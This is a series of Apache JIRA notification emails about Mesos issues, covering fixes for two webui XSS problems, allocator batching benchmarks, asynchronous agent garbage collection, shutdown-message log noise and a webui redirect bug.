[ https://issues.apache.org/jira/browse/MESOS-6969?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-6969: --- Description: XSS Vulnerabilities exist for zeroclipboard: https://www.cvedetails.com/cve/CVE-2014-1869/ This patch listed below replaces this library with the pure js library clipboard.js: https://clipboardjs.com/ which also removes the webui flash dependency to support clipboard functions. was: XSS Vulnerabilities exist for zerclipboard: https://www.cvedetails.com/cve/CVE-2014-1869/ This patch listed below replaces this library with the pure js library clipboard.js: https://clipboardjs.com/ which also removes the webui flash dependency to support clipboard functions. > Use clipboard.js for copy/paste webui functionality > --- > > Key: MESOS-6969 > URL: https://issues.apache.org/jira/browse/MESOS-6969 > Project: Mesos > Issue Type: Bug > Components: webui >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Minor > Labels: webui > > XSS Vulnerabilities exist for zeroclipboard: > https://www.cvedetails.com/cve/CVE-2014-1869/ > This patch listed below replaces this library with the pure js library > clipboard.js: https://clipboardjs.com/ which also removes the webui flash > dependency to support clipboard functions. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Updated] (MESOS-6947) Fix pailer XSS vulnerability
[ https://issues.apache.org/jira/browse/MESOS-6947?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-6947: --- Shepherd: haosdent > Fix pailer XSS vulnerability > > > Key: MESOS-6947 > URL: https://issues.apache.org/jira/browse/MESOS-6947 > Project: Mesos > Issue Type: Improvement > Components: webui >Reporter: Jacob Janco >Assignee: Jacob Janco > > There exists a XSS vulnerability in pailer.html. > `window.name` can be set to an external domain serving js which is wrapped in > `
[jira] [Updated] (MESOS-6947) Fix pailer XSS vulnerability
[ https://issues.apache.org/jira/browse/MESOS-6947?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-6947: --- Shepherd: (was: Yan Xu) > Fix pailer XSS vulnerability > > > Key: MESOS-6947 > URL: https://issues.apache.org/jira/browse/MESOS-6947 > Project: Mesos > Issue Type: Improvement > Components: webui >Reporter: Jacob Janco >Assignee: Jacob Janco > > There exists a XSS vulnerability in pailer.html. > `window.name` can be set to an external domain serving js which is wrapped in > `
[jira] [Created] (MESOS-6947) Fix pailer XSS vulnerability
Jacob Janco created MESOS-6947: -- Summary: Fix pailer XSS vulnerability Key: MESOS-6947 URL: https://issues.apache.org/jira/browse/MESOS-6947 Project: Mesos Issue Type: Improvement Components: webui Reporter: Jacob Janco Assignee: Jacob Janco There exists a XSS vulnerability in pailer.html. `window.name` can be set to an external domain serving js which is wrapped in `
[jira] [Commented] (MESOS-6947) Fix pailer XSS vulnerability
[ https://issues.apache.org/jira/browse/MESOS-6947?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15828978#comment-15828978 ] Jacob Janco commented on MESOS-6947: https://reviews.apache.org/r/55691 > Fix pailer XSS vulnerability > > > Key: MESOS-6947 > URL: https://issues.apache.org/jira/browse/MESOS-6947 > Project: Mesos > Issue Type: Improvement > Components: webui >Reporter: Jacob Janco >Assignee: Jacob Janco > > There exists a XSS vulnerability in pailer.html. > `window.name` can be set to an external domain serving js which is wrapped in > `
[jira] [Commented] (MESOS-6904) Track resource allocation candidates and batch allocation work
[ https://issues.apache.org/jira/browse/MESOS-6904?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15817026#comment-15817026 ] Jacob Janco commented on MESOS-6904: Reviews currently in progress: https://reviews.apache.org/r/51027/ https://reviews.apache.org/r/51028/ https://reviews.apache.org/r/52534/ WIP from [~gyliu] https://reviews.apache.org/r/51621/ > Track resource allocation candidates and batch allocation work > -- > > Key: MESOS-6904 > URL: https://issues.apache.org/jira/browse/MESOS-6904 > Project: Mesos > Issue Type: Bug > Components: allocation >Reporter: Jacob Janco >Assignee: Jacob Janco > Labels: allocator > > "Our deployment environments have a lot of churn, with many short-live > frameworks that often revive offers. Running the allocator takes a long time > (from seconds up to minutes). > In this situation, event-triggered allocation causes the event queue in the > allocator process to get very long, and the allocator effectively becomes > unresponsive (eg. a revive offers message takes too long to come to the head > of the queue)." - MESOS-3157 > To remedy the above scenario, it is proposed to track allocation candidates > and only dispatch allocation work if there is no pending allocation in the > allocator queue. When an enqueued allocation is processed, the tracked set of > candidates is cleared. > Current behavior will trigger allocation work on cluster events (e.g. > `addSlave()`, `addFramework()`, etc) as well as during the periodic batched > allocation running at a defined time interval. > This ticket tracks the new direction the work has taken since discussion in > MESOS-3157 where a previous solution by [~jamespeach] introduced batched > allocation only (which we currently run) as well as an approach to reduce > redundancy of work in the queue. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Created] (MESOS-6904) Track resource allocation candidates and batch allocation work
Jacob Janco created MESOS-6904: -- Summary: Track resource allocation candidates and batch allocation work Key: MESOS-6904 URL: https://issues.apache.org/jira/browse/MESOS-6904 Project: Mesos Issue Type: Bug Components: allocation Reporter: Jacob Janco Assignee: Jacob Janco "Our deployment environments have a lot of churn, with many short-live frameworks that often revive offers. Running the allocator takes a long time (from seconds up to minutes). In this situation, event-triggered allocation causes the event queue in the allocator process to get very long, and the allocator effectively becomes unresponsive (eg. a revive offers message takes too long to come to the head of the queue)." - MESOS-3157 To remedy the above scenario, it is proposed to track allocation candidates and only dispatch allocation work if there is no pending allocation in the allocator queue. When an enqueued allocation is processed, the tracked set of candidates is cleared. Current behavior will trigger allocation work on cluster events (e.g. `addSlave()`, `addFramework()`, etc) as well as during the periodic batched allocation running at a defined time interval. This ticket tracks the new direction the work has taken since discussion in MESOS-3157 where a previous solution by [~jamespeach] introduced batched allocation only (which we currently run) as well as an approach to reduce redundancy of work in the queue. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Issue Comment Deleted] (MESOS-6549) Asynchronous dir removal in agent GC
[ https://issues.apache.org/jira/browse/MESOS-6549?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-6549: --- Comment: was deleted (was: https://reviews.apache.org/r/53479/) > Asynchronous dir removal in agent GC > > > Key: MESOS-6549 > URL: https://issues.apache.org/jira/browse/MESOS-6549 > Project: Mesos > Issue Type: Improvement >Reporter: Jacob Janco >Assignee: Jacob Janco > Labels: gc > > In src/slave/gc.cpp: > // TODO(bmahler): Other dispatches can block waiting for a removal > // operation. To fix this, the removal operation can be done > // asynchronously in another thread. > We did see this occur in our clusters where rmdir operations can take seconds > to complete, blocking other queued events leading to, for example, long > latencies to task launch. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Commented] (MESOS-6549) Asynchronous dir removal in agent GC
[ https://issues.apache.org/jira/browse/MESOS-6549?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15637001#comment-15637001 ] Jacob Janco commented on MESOS-6549: https://reviews.apache.org/r/53479/ > Asynchronous dir removal in agent GC > > > Key: MESOS-6549 > URL: https://issues.apache.org/jira/browse/MESOS-6549 > Project: Mesos > Issue Type: Improvement >Reporter: Jacob Janco >Assignee: Jacob Janco > Labels: gc > > In src/slave/gc.cpp: > // TODO(bmahler): Other dispatches can block waiting for a removal > // operation. To fix this, the removal operation can be done > // asynchronously in another thread. > We did see this occur in our clusters where rmdir operations can take seconds > to complete, blocking other queued events leading to, for example, long > latencies to task launch. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Commented] (MESOS-6549) Asynchronous dir removal in agent GC
[ https://issues.apache.org/jira/browse/MESOS-6549?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15636997#comment-15636997 ] Jacob Janco commented on MESOS-6549: https://reviews.apache.org/r/53479/ > Asynchronous dir removal in agent GC > > > Key: MESOS-6549 > URL: https://issues.apache.org/jira/browse/MESOS-6549 > Project: Mesos > Issue Type: Improvement >Reporter: Jacob Janco >Assignee: Jacob Janco > Labels: gc > > In src/slave/gc.cpp: > // TODO(bmahler): Other dispatches can block waiting for a removal > // operation. To fix this, the removal operation can be done > // asynchronously in another thread. > We did see this occur in our clusters where rmdir operations can take seconds > to complete, blocking other queued events leading to, for example, long > latencies to task launch. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Created] (MESOS-6549) Asynchronous dir removal in agent GC
Jacob Janco created MESOS-6549: -- Summary: Asynchronous dir removal in agent GC Key: MESOS-6549 URL: https://issues.apache.org/jira/browse/MESOS-6549 Project: Mesos Issue Type: Improvement Reporter: Jacob Janco Assignee: Jacob Janco In src/slave/gc.cpp: // TODO(bmahler): Other dispatches can block waiting for a removal // operation. To fix this, the removal operation can be done // asynchronously in another thread. We did see this occur in our clusters where rmdir operations can take seconds to complete, blocking other queued events leading to, for example, long latencies to task launch. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Comment Edited] (MESOS-3157) only perform batch resource allocations
[ https://issues.apache.org/jira/browse/MESOS-3157?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15423829#comment-15423829 ] Jacob Janco edited comment on MESOS-3157 at 10/4/16 3:14 PM: - New reviews: changes to allocator: https://reviews.apache.org/r/51027/ fixes to tests: https://reviews.apache.org/r/51028/ was (Author: jjanco): New reviews: changes to allocator: https://reviews.apache.org/r/51027/ benchmark: https://reviews.apache.org/r/49617/ fixes to tests: https://reviews.apache.org/r/51028/ > only perform batch resource allocations > --- > > Key: MESOS-3157 > URL: https://issues.apache.org/jira/browse/MESOS-3157 > Project: Mesos > Issue Type: Bug > Components: allocation >Reporter: James Peach >Assignee: Jacob Janco > > Our deployment environments have a lot of churn, with many short-live > frameworks that often revive offers. Running the allocator takes a long time > (from seconds up to minutes). > In this situation, event-triggered allocation causes the event queue in the > allocator process to get very long, and the allocator effectively becomes > unresponsive (eg. a revive offers message takes too long to come to the head > of the queue). > We have been running a patch to remove all the event-triggered allocations > and only allocate from the batch task > {{HierarchicalAllocatorProcess::batch}}. This works great and really improves > responsiveness. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Issue Comment Deleted] (MESOS-3157) only perform batch resource allocations
[ https://issues.apache.org/jira/browse/MESOS-3157?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-3157: --- Comment: was deleted (was: Some interesting output from the benchmark listed in the reviews: Sample output without 51027: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 Using 1 agents and 3000 frameworks Added 3000 frameworks in 57251us Added 1 agents in 3.2134535333mins allocator settled after 1.6123603833mins [ OK ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 (290578 ms) Sample output with 51027: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 Using 1 agents and 3000 frameworks Added 3000 frameworks in 39817us Added 1 agents in 3.2286054167mins allocator settled after 25.525654secs [ OK ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 (220137 ms) Any input on the benchmark would be greatly appreciated as well. Thanks!) > only perform batch resource allocations > --- > > Key: MESOS-3157 > URL: https://issues.apache.org/jira/browse/MESOS-3157 > Project: Mesos > Issue Type: Bug > Components: allocation >Reporter: James Peach >Assignee: Jacob Janco > > Our deployment environments have a lot of churn, with many short-live > frameworks that often revive offers. Running the allocator takes a long time > (from seconds up to minutes). > In this situation, event-triggered allocation causes the event queue in the > allocator process to get very long, and the allocator effectively becomes > unresponsive (eg. a revive offers message takes too long to come to the head > of the queue). > We have been running a patch to remove all the event-triggered allocations > and only allocate from the batch task > {{HierarchicalAllocatorProcess::batch}}. This works great and really improves > responsiveness. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Commented] (MESOS-5874) Only send ShutdownFrameworkMessage to agents associated with framework.
[ https://issues.apache.org/jira/browse/MESOS-5874?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15533158#comment-15533158 ] Jacob Janco commented on MESOS-5874: Thanks Alex! > Only send ShutdownFrameworkMessage to agents associated with framework. > --- > > Key: MESOS-5874 > URL: https://issues.apache.org/jira/browse/MESOS-5874 > Project: Mesos > Issue Type: Improvement > Components: master >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Minor > Labels: mesosphere > Fix For: 1.1.0 > > > slave.cpp:2079] Asked to shut down framework ${framework} by master@${master} > slave.cpp:2094] Cannot shut down unknown framework ${framework} > For high framework/churn clusters this saturates agent logs with these > messages. When a framework terminates a ShutdownFrameworkMessage is sent to > every registered slave in a for loop. This patch proposes sending this > message to agents with executors associated with the framework. > Also proposed is moving the logline to VLOG(1). -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Commented] (MESOS-5874) Only send ShutdownFrameworkMessage to agents associated with framework.
[ https://issues.apache.org/jira/browse/MESOS-5874?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15531343#comment-15531343 ] Jacob Janco commented on MESOS-5874: Closed the review, and posted https://reviews.apache.org/r/52371/ Will close ticket if that is satisfactory. Thanks! > Only send ShutdownFrameworkMessage to agents associated with framework. > --- > > Key: MESOS-5874 > URL: https://issues.apache.org/jira/browse/MESOS-5874 > Project: Mesos > Issue Type: Improvement > Components: master >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Minor > Labels: mesosphere > Fix For: 1.1.0 > > > slave.cpp:2079] Asked to shut down framework ${framework} by master@${master} > slave.cpp:2094] Cannot shut down unknown framework ${framework} > For high framework/churn clusters this saturates agent logs with these > messages. When a framework terminates a ShutdownFrameworkMessage is sent to > every registered slave in a for loop. This patch proposes sending this > message to agents with executors associated with the framework. > Also proposed is moving the logline to VLOG(1). -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Comment Edited] (MESOS-5874) Only send ShutdownFrameworkMessage to agents associated with framework.
[ https://issues.apache.org/jira/browse/MESOS-5874?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15524201#comment-15524201 ] Jacob Janco edited comment on MESOS-5874 at 9/26/16 9:25 PM: - [~alexr], I can do that, but I had a quick question - would it make sense to move this logline to VLOG(1) as this is extremely verbose for our use case? was (Author: jjanco): [~ruklet...@gmail.com], I can do that, but I had a quick question - would it make sense to move this logline to VLOG(1) as this is extremely verbose for our use case? > Only send ShutdownFrameworkMessage to agents associated with framework. > --- > > Key: MESOS-5874 > URL: https://issues.apache.org/jira/browse/MESOS-5874 > Project: Mesos > Issue Type: Improvement > Components: master >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Minor > Labels: mesosphere > Fix For: 1.1.0 > > > slave.cpp:2079] Asked to shut down framework ${framework} by master@${master} > slave.cpp:2094] Cannot shut down unknown framework ${framework} > For high framework/churn clusters this saturates agent logs with these > messages. When a framework terminates a ShutdownFrameworkMessage is sent to > every registered slave in a for loop. This patch proposes sending this > message to agents with executors associated with the framework. > Also proposed is moving the logline to VLOG(1). -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Comment Edited] (MESOS-5874) Only send ShutdownFrameworkMessage to agents associated with framework.
[ https://issues.apache.org/jira/browse/MESOS-5874?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15524201#comment-15524201 ] Jacob Janco edited comment on MESOS-5874 at 9/26/16 9:24 PM: - [~ruklet...@gmail.com], I can do that, but I had a quick question - would it make sense to move this logline to VLOG(1) as this is extremely verbose for our use case? was (Author: jjanco): Alexander Rukletsov, I can do that, but I had a quick question - would it make sense to move this logline to VLOG(1) as this is extremely verbose for our use case? > Only send ShutdownFrameworkMessage to agents associated with framework. > --- > > Key: MESOS-5874 > URL: https://issues.apache.org/jira/browse/MESOS-5874 > Project: Mesos > Issue Type: Improvement > Components: master >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Minor > Labels: mesosphere > Fix For: 1.1.0 > > > slave.cpp:2079] Asked to shut down framework ${framework} by master@${master} > slave.cpp:2094] Cannot shut down unknown framework ${framework} > For high framework/churn clusters this saturates agent logs with these > messages. When a framework terminates a ShutdownFrameworkMessage is sent to > every registered slave in a for loop. This patch proposes sending this > message to agents with executors associated with the framework. > Also proposed is moving the logline to VLOG(1). -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Commented] (MESOS-5874) Only send ShutdownFrameworkMessage to agents associated with framework.
[ https://issues.apache.org/jira/browse/MESOS-5874?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15524201#comment-15524201 ] Jacob Janco commented on MESOS-5874: Alexander Rukletsov, I can do that, but I had a quick question - would it make sense to move this logline to VLOG(1) as this is extremely verbose for our use case? > Only send ShutdownFrameworkMessage to agents associated with framework. > --- > > Key: MESOS-5874 > URL: https://issues.apache.org/jira/browse/MESOS-5874 > Project: Mesos > Issue Type: Improvement > Components: master >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Minor > Labels: mesosphere > Fix For: 1.1.0 > > > slave.cpp:2079] Asked to shut down framework ${framework} by master@${master} > slave.cpp:2094] Cannot shut down unknown framework ${framework} > For high framework/churn clusters this saturates agent logs with these > messages. When a framework terminates a ShutdownFrameworkMessage is sent to > every registered slave in a for loop. This patch proposes sending this > message to agents with executors associated with the framework. > Also proposed is moving the logline to VLOG(1). -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Comment Edited] (MESOS-3157) only perform batch resource allocations
[ https://issues.apache.org/jira/browse/MESOS-3157?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15425080#comment-15425080 ] Jacob Janco edited comment on MESOS-3157 at 8/17/16 6:13 PM: - Some interesting output from the benchmark listed in the reviews: Sample output without 51027: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 Using 1 agents and 3000 frameworks Added 3000 frameworks in 57251us Added 1 agents in 3.2134535333mins allocator settled after 1.6123603833mins [ OK ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 (290578 ms) Sample output with 51027: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 Using 1 agents and 3000 frameworks Added 3000 frameworks in 39817us Added 1 agents in 3.2286054167mins allocator settled after 25.525654secs [ OK ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 (220137 ms) Any input on the benchmark would be greatly appreciated as well. Thanks! was (Author: jjanco): Some interesting output from the benchmark listed in the reviews: Sample output without 51027: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 Using 1 agents and 3000 frameworks Added 3000 frameworks in 57251us Added 1 agents in 3.2134535333mins allocator settled after 1.6123603833mins [ OK ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 (290578 ms) Sample output with 51027: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 Using 1 agents and 3000 frameworks Added 3000 frameworks in 39817us Added 1 agents in 3.2286054167mins allocator settled after 25.525654secs [ OK ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 (220137 ms) > only perform batch resource allocations > --- > > Key: MESOS-3157 > URL: https://issues.apache.org/jira/browse/MESOS-3157 > Project: Mesos > Issue Type: Bug > Components: allocation >Reporter: James Peach >Assignee: Jacob Janco > > Our deployment environments have a lot of churn, with many short-live > frameworks that often revive offers. Running the allocator takes a long time > (from seconds up to minutes). > In this situation, event-triggered allocation causes the event queue in the > allocator process to get very long, and the allocator effectively becomes > unresponsive (eg. a revive offers message takes too long to come to the head > of the queue). > We have been running a patch to remove all the event-triggered allocations > and only allocate from the batch task > {{HierarchicalAllocatorProcess::batch}}. This works great and really improves > responsiveness. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Commented] (MESOS-3157) only perform batch resource allocations
[ https://issues.apache.org/jira/browse/MESOS-3157?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15425080#comment-15425080 ] Jacob Janco commented on MESOS-3157: Some interesting output from the benchmark listed in the reviews: Sample output without 51027: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 Using 1 agents and 3000 frameworks Added 3000 frameworks in 57251us Added 1 agents in 3.2134535333mins allocator settled after 1.6123603833mins [ OK ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 (290578 ms) Sample output with 51027: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 Using 1 agents and 3000 frameworks Added 3000 frameworks in 39817us Added 1 agents in 3.2286054167mins allocator settled after 25.525654secs [ OK ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/22 (220137 ms) > only perform batch resource allocations > --- > > Key: MESOS-3157 > URL: https://issues.apache.org/jira/browse/MESOS-3157 > Project: Mesos > Issue Type: Bug > Components: allocation >Reporter: James Peach >Assignee: Jacob Janco > > Our deployment environments have a lot of churn, with many short-live > frameworks that often revive offers. Running the allocator takes a long time > (from seconds up to minutes). > In this situation, event-triggered allocation causes the event queue in the > allocator process to get very long, and the allocator effectively becomes > unresponsive (eg. a revive offers message takes too long to come to the head > of the queue). > We have been running a patch to remove all the event-triggered allocations > and only allocate from the batch task > {{HierarchicalAllocatorProcess::batch}}. This works great and really improves > responsiveness. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Commented] (MESOS-3157) only perform batch resource allocations
[ https://issues.apache.org/jira/browse/MESOS-3157?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15423829#comment-15423829 ] Jacob Janco commented on MESOS-3157: New reviews: changes to allocator: https://reviews.apache.org/r/51027/ benchmark: https://reviews.apache.org/r/49617/ fixes to tests: https://reviews.apache.org/r/51028/ > only perform batch resource allocations > --- > > Key: MESOS-3157 > URL: https://issues.apache.org/jira/browse/MESOS-3157 > Project: Mesos > Issue Type: Bug > Components: allocation >Reporter: James Peach >Assignee: Jacob Janco > > Our deployment environments have a lot of churn, with many short-live > frameworks that often revive offers. Running the allocator takes a long time > (from seconds up to minutes). > In this situation, event-triggered allocation causes the event queue in the > allocator process to get very long, and the allocator effectively becomes > unresponsive (eg. a revive offers message takes too long to come to the head > of the queue). > We have been running a patch to remove all the event-triggered allocations > and only allocate from the batch task > {{HierarchicalAllocatorProcess::batch}}. This works great and really improves > responsiveness. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Commented] (MESOS-3157) only perform batch resource allocations
[ https://issues.apache.org/jira/browse/MESOS-3157?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15397923#comment-15397923 ] Jacob Janco commented on MESOS-3157: Yup, will post a new review soon. > only perform batch resource allocations > --- > > Key: MESOS-3157 > URL: https://issues.apache.org/jira/browse/MESOS-3157 > Project: Mesos > Issue Type: Bug > Components: allocation >Reporter: James Peach >Assignee: Jacob Janco > > Our deployment environments have a lot of churn, with many short-live > frameworks that often revive offers. Running the allocator takes a long time > (from seconds up to minutes). > In this situation, event-triggered allocation causes the event queue in the > allocator process to get very long, and the allocator effectively becomes > unresponsive (eg. a revive offers message takes too long to come to the head > of the queue). > We have been running a patch to remove all the event-triggered allocations > and only allocate from the batch task > {{HierarchicalAllocatorProcess::batch}}. This works great and really improves > responsiveness. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Created] (MESOS-5911) Webui redirection to leader in browser does not work
Jacob Janco created MESOS-5911: -- Summary: Webui redirection to leader in browser does not work Key: MESOS-5911 URL: https://issues.apache.org/jira/browse/MESOS-5911 Project: Mesos Issue Type: Bug Affects Versions: 1.0.0 Reporter: Jacob Janco We deployed 1.0.0-rc4 in a small test cluster with 3 masters/5 agents. Redirection to master curling for state.json returned the expected 307, however, in browser (chrome/safari/firefox), redirection failed with: {code} XMLHttpRequest cannot load :5050/master/state. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin ':5050' is therefore not allowed access. {code} This is the patch that introduced the redirect on /state (and HTTP calls): https://reviews.apache.org/r/34646 The issue is that before this change, the server side does not redirect, the web UI controller.js decides from the content of the state.json which leader to redirect and then invoke redirection itself. Browsers allow this but not the server side initiated redirect without 'Access-Control-Allow-Origin' header? -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Commented] (MESOS-5874) Only send ShutdownFrameworkMessage to agents associated with framework.
[ https://issues.apache.org/jira/browse/MESOS-5874?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15386714#comment-15386714 ] Jacob Janco commented on MESOS-5874: https://reviews.apache.org/r/50268/ > Only send ShutdownFrameworkMessage to agents associated with framework. > --- > > Key: MESOS-5874 > URL: https://issues.apache.org/jira/browse/MESOS-5874 > Project: Mesos > Issue Type: Improvement >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Minor > > slave.cpp:2079] Asked to shut down framework ${framework} by master@${master} > slave.cpp:2094] Cannot shut down unknown framework ${framework} > For high framework/churn clusters this saturates agent logs with these > messages. When a framework terminates a ShutdownFrameworkMessage is sent to > every registered slave in a for loop. This patch proposes sending this > message to agents with executors associated with the framework. > Also proposed is moving the logline to VLOG(1). -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Created] (MESOS-5874) Only send ShutdownFrameworkMessage to agents associated with framework.
Jacob Janco created MESOS-5874: -- Summary: Only send ShutdownFrameworkMessage to agents associated with framework. Key: MESOS-5874 URL: https://issues.apache.org/jira/browse/MESOS-5874 Project: Mesos Issue Type: Improvement Reporter: Jacob Janco Assignee: Jacob Janco Priority: Minor slave.cpp:2079] Asked to shut down framework ${framework} by master@${master} slave.cpp:2094] Cannot shut down unknown framework ${framework} For high framework/churn clusters this saturates agent logs with these messages. When a framework terminates a ShutdownFrameworkMessage is sent to every registered slave in a for loop. This patch proposes sending this message to agents with executors associated with the framework. Also proposed is moving the logline to VLOG(1). -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Updated] (MESOS-5781) Benchmark allocation with framework suppression.
[ https://issues.apache.org/jira/browse/MESOS-5781?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-5781: --- Description: Benchmarks effects of framework suppression on allocation time. Frameworks are suppressed and resources recovered each iteration and allocation time is measured as we move to suppress all frameworks in the test case. Referencing MESOS-4694. Sample run at top of tree: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.SuppressOffers/35 Using 5000 agents and 6000 frameworks allocate() took 3.7728787mins to make 5000 offers with 1200 out of 6000 frameworks suppressing offers allocate() took 3.8739297333mins to make 5000 offers with 2400 out of 6000 frameworks suppressing offers allocate() took 3.7972409833mins to make 5000 offers with 3600 out of 6000 frameworks suppressing offers allocate() took 3.85926955mins to make 5000 offers with 4800 out of 6000 frameworks suppressing offers allocate() took 23.114991secs to make 0 offers with 6000 out of 6000 frameworks suppressing offers [ OK ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.SuppressOffers/35 (1157073 ms) Sample run with MESOS-4694 (https://reviews.apache.org/r/43666/): [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.SuppressOffers/35 Using 5000 agents and 6000 frameworks allocate() took 2.8807476167mins to make 5000 offers with 1200 out of 6000 frameworks suppressing offers allocate() took 2.0985669833mins to make 5000 offers with 2400 out of 6000 frameworks suppressing offers allocate() took 1.3209152mins to make 5000 offers with 3600 out of 6000 frameworks suppressing offers allocate() took 36.852357secs to make 5000 offers with 4800 out of 6000 frameworks suppressing offers allocate() took 76064us to make 0 offers with 6000 out of 6000 frameworks suppressing offers [ OK ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.SuppressOffers/35 (624856 ms) was: Benchmarks effects of framework suppression on allocation time. Frameworks are suppressed and resources recovered each iteration and allocation time is measured as we move to suppress all frameworks in the test case. Referencing MESOS-4694. Sample run at top of tree: Using 2000 agents and 200 frameworks round 0 allocate took 2.630963secs to make 199 offers round 1 allocate took 2.640694secs to make 198 offers round 2 allocate took 2.642664secs to make 197 offers ... round 197 allocate took 2.433047secs to make 2 offers round 198 allocate took 2.409804secs to make 1 offers round 199 allocate took 252270us to make 0 offers Sample run with MESOS-4694 (https://reviews.apache.org/r/43666/): Using 2000 agents and 200 frameworks round 0 allocate took 2.626182secs to make 199 offers round 1 allocate took 2.62286secs to make 198 offers round 2 allocate took 2.591389secs to make 197 offers ... round 101 allocate took 1.494164secs to make 98 offers round 102 allocate took 1.491371secs to make 97 offers round 103 allocate took 1.491969secs to make 96 offers ... round 197 allocate took 534780us to make 2 offers round 198 allocate took 501947us to make 1 offers round 199 allocate took 24929us to make 0 offers > Benchmark allocation with framework suppression. > > > Key: MESOS-5781 > URL: https://issues.apache.org/jira/browse/MESOS-5781 > Project: Mesos > Issue Type: Improvement >Reporter: Jacob Janco >Assignee: Jacob Janco > Labels: allocator, benchmark > > Benchmarks effects of framework suppression on allocation time. Frameworks > are suppressed and resources recovered each iteration and allocation time is > measured as we move to suppress all frameworks in the test case. Referencing > MESOS-4694. > Sample run at top of tree: > [ RUN ] > SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.SuppressOffers/35 > Using 5000 agents and 6000 frameworks > allocate() took 3.7728787mins to make 5000 offers with 1200 out of 6000 > frameworks suppressing offers > allocate() took 3.8739297333mins to make 5000 offers 